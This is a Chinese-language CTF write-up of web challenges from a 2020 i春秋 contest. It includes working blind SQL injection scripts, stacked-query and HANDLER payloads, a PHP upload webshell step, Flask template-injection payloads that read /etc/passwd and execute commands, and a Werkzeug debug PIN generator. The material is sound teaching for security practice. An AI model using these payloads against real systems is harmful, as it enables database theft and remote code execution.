2020i春秋新春战疫
简单的招聘系统
登陆这里就可以注入
查询这里也可以注入
从登陆这里注入把
爆破数据库名
爆破表名
列名
flag
就很奇怪跑出来的东西
重开容器跑一遍列,估计是flaaag。后面可能是发生了502
再跑一遍。又重发了个容器。感觉这些跑的有问题啊。这个列名绝对就是flaaag。我手动burp验证了。- -不知道为啥每次后面都带着东西,到flaaag就结束了应该。
差点坏事了。又跑出个错误的flag,我手动burp验证了。明明是{,为毛又变成]
噢。我知道了,我电脑弄连着热点,放着音乐,手机连着热点看着直播,影响到了我的网速?导致我正常的request都有有2s延迟了吗。直接调5s /(ㄒoㄒ)/~~
获得了flag。= =忘记截图了
upload
上传了个php,直接getshell,然后./readflag。看返回的response提醒是bypass
上去看一下index.php
<?php error_reporting(0); header("Content-type: text/html; charset=utf-8"); $sandbox='sandbox/'.md5($_SERVER['remote_addr']); echo $sandbox; mkdir($sandbox); chdir($sandbox); if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php,htaccess,ini,'])) { die('upload failed'); } move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']); echo "<br><br>"; echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>"; endif; ?> <form method="post" enctype="multipart/form-data"> 上传: <input type="file" name="file_upload"> <input type="submit"> </form>
那个数组怎么就变成了这样,不该是['php','htaccess','ini']吗?尴尬。难怪都是非预期了。
这里的if : endif; 实际就是{ }
这种语法比较适合嵌套在HTML中。
盲注
burp测试过滤了一下函数,union select like updatexml insert into update等
过滤了select,去找了下相关文章https://www.jianshu.com/p/12519879dc44
可行。一开始因为'被ban了,换"就可以了。
刚准备好脚本,因为有一些字符串在regexp会影响判断,因为是正则。
import requests import time import string url='http://dd00d648b92a4237b815cb2917e2652d9c44e3e12f0f4db8.changame.ichunqiu.com/index.php' k='' for i in range(0,25): for j in range(32,128): #这里鉴于上面两题的flag,可以直接写成for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}- ' if chr(j) in '^.*$?\'=<>%#+': continue payload='1 and if(fl4g regexp binary "^{}",sleep(5),1)'.format(k+chr(j)) params={ 'id':payload, } startTime=time.time() response=requests.get(url=url,params=params) if time.time() - startTime >4.5: k+=chr(j) print('flag_name:%s'%(k)) break print(k)
想测试下脚本,爆前四个字符flag,爆到第二个就觉得不对,明明是flag的,怎么是Y了。
原来是环境关了。难受。/(ㄒoㄒ)/~~忘记今天比赛了。没抓紧时间做。第四题都没看到一眼题目。
24晚上看了一下,主办方还开了所有的web环境,听说到25晚上结束。良心。炒鸡感谢。赶快把之前没跑完的跑一下。
easysqli_copy
看到的一篇文章https://news.linruizhao.com/tech/freebuf/157973/。宽字节+多行,我这里用的预编译绕过。
通过时间盲注,可行。为啥每次浏览器上时间盲注可以,用python脚本跑老是乱码。气死了啊。大概率是我的脚本的问题,用get请求下次直接get url,不要带params了
后面测试可以了。
import requests import time url="http://3397d51f00654a40a6c453953b906199865ba551262f4f0b.changame.ichunqiu.com/index.php?id=1%df%27;" flag='' exp0="select fllllll4g from table1" payload = "set @s=concat({});PREPARE a FROM @s;EXECUTE a;" for i in range(1,20): print("前{0}位".format(i)) for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}-': res='' exp = "select if(ascii(substr(({}),{},1))={},sleep(3),1)".format(exp0, i, ord(j)) for z in exp: res += "char(%s),"%(ord(z)) my_payload = payload.format(res[:-1]) print('i:'+str(i),'j:'+str(j)) urll=url+my_payload startTime=time.time() response=requests.get(url=urll) if time.time() - startTime >=2.5: flag+=j print('flag_name:%s'%(flag)) break print(flag)
Flaskapp
在decode页面随意输入,一些跳出错误页面
所以是模板注入,并且有waf。
通过payload可以读取到/etc/passwod
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
但是当读取flag的时候,发现不行。应该是过滤了关键字flag,测试发现*,?,都被过滤了。尝试字符拼接。
通过proc/self/cmdline找了一下脚本所在的路径。读一下app.py
尝试读一下/app/app.py
字符串拼接也没绕过去。
发现并不是没绕过去。而是读出来了,只不过我设置了 no no 的话返回waf:字符串
结果 : from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config[SECRET_KEY] = s_e_c_r_e_t_k_e_y bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField(BASE64加密,validators= [DataRequired()]) submit = SubmitField(提交) class NameForm1(FlaskForm): text = StringField(BASE64解密,validators= [DataRequired()]) submit = SubmitField(提交) def waf(str): black_list = [flag,os,system,popen,import,eval,chr,request, subprocess,commands,socket,hex,base64,*,?] for x in black_list : if x in str.lower() : return 1 @app.route(/hint,methods=[GET]) def hint(): txt = 失败乃成功之母!! return render_template(hint.html,txt = txt) @app.route(/,methods=[POST,GET]) def encode(): if request.values.get(text) : text = request.values.get(text) text_decode = base64.b64encode(text.encode()) tmp = 结果 :{0}.format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for(encode)) else : text = form = NameForm(text) return render_template(index.html,form = form ,method = 加密 ,img = flask.png) @app.route(/decode,methods=[POST,GET]) def decode(): if request.values.get(text) : text = request.values.get(text) text_decode = base64.b64decode(text.encode()) tmp = 结果 : {0}.format(text_decode.decode()) if waf(tmp) : flash(no no no !!) return redirect(url_for(decode)) res = render_template_string(tmp) flash( res ) return redirect(url_for(decode)) else : text = form = NameForm1(text) return render_template(index.html,form = form, method = 解密 , img = flask1.png) @app.route(/<name>,methods=[GET]) def not_found(name): return render_template(404.html,name = name) if __name__ == __main__: app.run(host=0.0.0.0, port=5000, debug=True)
黑名单
black_list = [flag,os,system,popen,import,eval,chr,request, subprocess,commands,socket,hex,base64,*,?]
后经过师傅提醒说是解pin码,我就去试试。
https://www.jianshu.com/p/cbca419ba075
https://xz.aliyun.com/t/2553#toc-2
解pin码需要6个变量
username就是启动这个Flask的用户 modname为flask.app getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径 uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式 get_machine_id()不妨跟进去看一下
machine-id:81ef01dec0f0eb6d6c0f3752b487b10e
mac地址:02:42:ac:12:00:04
转化为10进制
绝对路径
用户名是flaskweb
经过师傅提示,machine-id还是错的,是/proc/self/cgroup docker/后的ID
2:pids:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 11:cpu,cpuacct:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 10:hugetlb:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 9:devices:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 8:blkio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 7:rdma:/ 6:memory:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 5:perf_event:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 4:net_cls,net_prio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 3:freezer:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 2:cpuset:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 1:name=systemd:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2 0::/system.slice/containerd.service
import hashlib from itertools import chain probably_public_bits = [ 'flaskweb',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '2485377957892',# str(uuid.getnode()), /sys/class/net/ens33/address 'f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
得到pin码获取python shell
如果想获取控制台输出的内容,那就用os.popen的方法了,popen返回的是一个file对象,跟open打开文件一样操作了,r是以读的方式打开
2.24-今天晚上学习了下SSTI,明早补上SSTI的学习笔记总结等。这里可以通过字符串拼接就可以达到命令执行
().__class__.__bases__[0].__subclasses__()[76].__init__.__globals__['__builtins__']['e'+'val']('__imp'+'ort__ ("o"+"s").p'+'open("ls").read()')
字符串拼接即可
赛后又找到了一篇文章
https://www.anquanke.com/post/id/197602 基本思路一样,BUU牛逼
blacklist(复现)
是改编强网杯的。
强网杯有两种解法
一种是用比预编译
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
一种是alter,rename更改表名
这里都禁了,应该要找新姿势。
后面问了一位师傅,告诉了我用handler
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
复现记录:
这题主要是考姿势了,这里啥都禁掉了。主要是select禁止了。新获得的姿势就是利用handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容、 handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 handler yunensec read first; #读取指定表/句柄的首行数据 handler yunensec read next; #读取指定表/句柄的下一行数据 handler yunensec read next; #读取指定表/句柄的下一行数据 ... handler yunensec close; #关闭句柄 引用:https://xz.aliyun.com/t/7169#toc-47
本地测试:
也可以不加as
payload:
1';handler FlagHere open as yunying;handler yunying read first;
Ezsqli(复现)
回来没时间写,这里重新学习复现下。
测试发现有waf,通过重放查看
过滤了and,or,handler,join,insert,if,in等
尝试union select也不行,但是单独的union 和select是可以用的
后面发现不是字符串的注入,是数字型的,加'反而没反应。
这里测试id=2的时候发现有区分
2||1=0 返回CQGAME 2||1=1 返回Nu1L
类似如下,正确,则爆出列的所以数据去第一行输出。否则
用&&发现不会变,一直都CQGAME。这里用bool盲注可以。
正确为Nu1L,错误为CQGAME。
这里可以用ascii(substr((payload)),1,1)={}来bool盲注。这里or被过滤了可以用innodb,sys.schema_auto_increment_columns,sys.schema_table_statistics_with_buffer尝试bypass,都有版本限制。但是这里可以用盲注脚本测试下:
# encoding = utf-8 import requests import base64 url='http://16872a12d0c049e0921ea9e9afefacb8f8ae8676b4ce4a60.changame.ichunqiu.com/index.php' exp0='select version()' flag='' for i in range(1,10): print("前{}位值:\n".format(str(i))) for j in range(32,128): payload='2||ascii(substr(({}),{},1))={}'.format(exp0,i,j) print(payload) response=requests.post(url=url,data={"id":payload}) if 'Nu1L' in response.text: flag+=chr(j) print("flag:{}".format(flag)) break print(flag)
我吐了,电脑死机了,下面编辑的东西没了。下面简单说下
通过sys.schema_table_statistics_with_buffer爆出两个表名
users23333333333333,f1ag_1s_h3r3_hhhhh
接下来无列名注入参考出题人 smile师傅:
如果一个表只包含一列,那么很轻易就可在不知道列名的情况下检索出数据,只需一个简单的SUBSTR((SELECT * FROM table),1,1)='x'
就可,但如果一个表包含多个列,那么这个查询就会抛出一个错误。不过这里有个技巧,就是将查询语句与相同数量的列进行比较!
mysql默认是不区分大小写的。通过以上方法我可以得到全是小写字母的flag,现在就需要一个区分大小写的方法。我发现将字符串转换为二进制格式后,会强制进行字节对字节的比较,这正是我所需要的。但问题是,BINARY
函数中的“in”被过滤掉了。
当一个字符串连接一个二进制的值时CONCAT("aa", BINARY("BB"))
,其得到的也将是二进制。因此我需要找到一个方法,将一个二进制字符串插入CONCAT
函数中。
经过反复试验,我终于发现MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)
会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))
也会返回一个二进制字符串
上文取自https://nosec.org/home/detail/3830.html
预期解是文章中提到的使用
SELECT CONCAT("A", CAST(0 AS JSON))
来另其返回二进制字符串。不过你并不知道需要注入的字符串中有什么,是否大于0,因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是~
,这样的话f~
始终大于flag{xx}
,e~
始终小于flag{xxx}
这样以来我们只用把需要注入的字符按照ascii大小排序,小的在前面,逐位去跑即可。
最后就是i春秋的flag中有-
,-
比数字更小,写脚本需要注意一下。
这里我直接上Ying师傅的脚本思路了。
脚本参考了P3rh4ps师傅的exp,用字符的ASCII偏移一位来使判断成立,这个思路太顶了,看了好长时间才懂,我来详细解释一下这个事儿:
假设flag为flag{bbbbb},对于payload这个两个select查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大,这个不难懂,和c语言的strcmp()
函数原理一样,举几个例子:
- glag > flag{bbbbb}
- alag{zzzzzzzzzzz} < flag{bbbbb}
- a < flag{bbbbb}
- z > flag{bbbbb}
在这样的按位比较过程中,因为在里层的for()
循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1)
,这就是为什么在存flag时候要往前偏移一位的原因
''' Author: 颖奇L'Amore Blog: www.gem-love.com 本文链接: https://www.gem-love.com/ctf/1669.html ''' import requests url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/' def trans(flag): res = '' for i in flag: res += hex(ord(i)) res = '0x' + res.replace('0x','') return res flag = '' for i in range(1,500): #这循环一定要大 不然flag长的话跑不完 hexchar = '' for char in range(32, 126): hexchar = trans(flag+ chr(char)) payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar) data = { 'id':payload } r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: flag += chr(char-1) print(flag) break
Ying师傅的exp没有考虑大小写的问题,因为i春秋默认的flag都是小写的
另外smi1e师傅的官方exp中用了取反符号~
目的也是判断成立,就是因为MySQL的比较是按位比的。
另外就是脚本进行了hex()操作,这是因为MySQL遇到hex会自动转成字符串(P3rh4ps师傅告诉的,学到了)
这里也贴出smi1e的官方exp
# -*- coding:utf8 -*- import requests import string url = "http://127.0.0.1/index.php" def exp1(): str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' select = 'select group_concat(table_name) from sys.x$schema_flattened_keys' for j in range(1,40): for i in str1: paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i) #print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data) if 'Nu1L' in r.text: flag += i print(flag) break def exp2(): str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' flag_table_name = 'f1ag_1s_h3r3_hhhhh' for j in range(1,39): for i in str1: i = flag+i paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name) #print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data) if 'Nu1L' not in r.text: flag=i print(flag) break if __name__ == '__main__': exp1() exp2()
还有赵师傅的二分法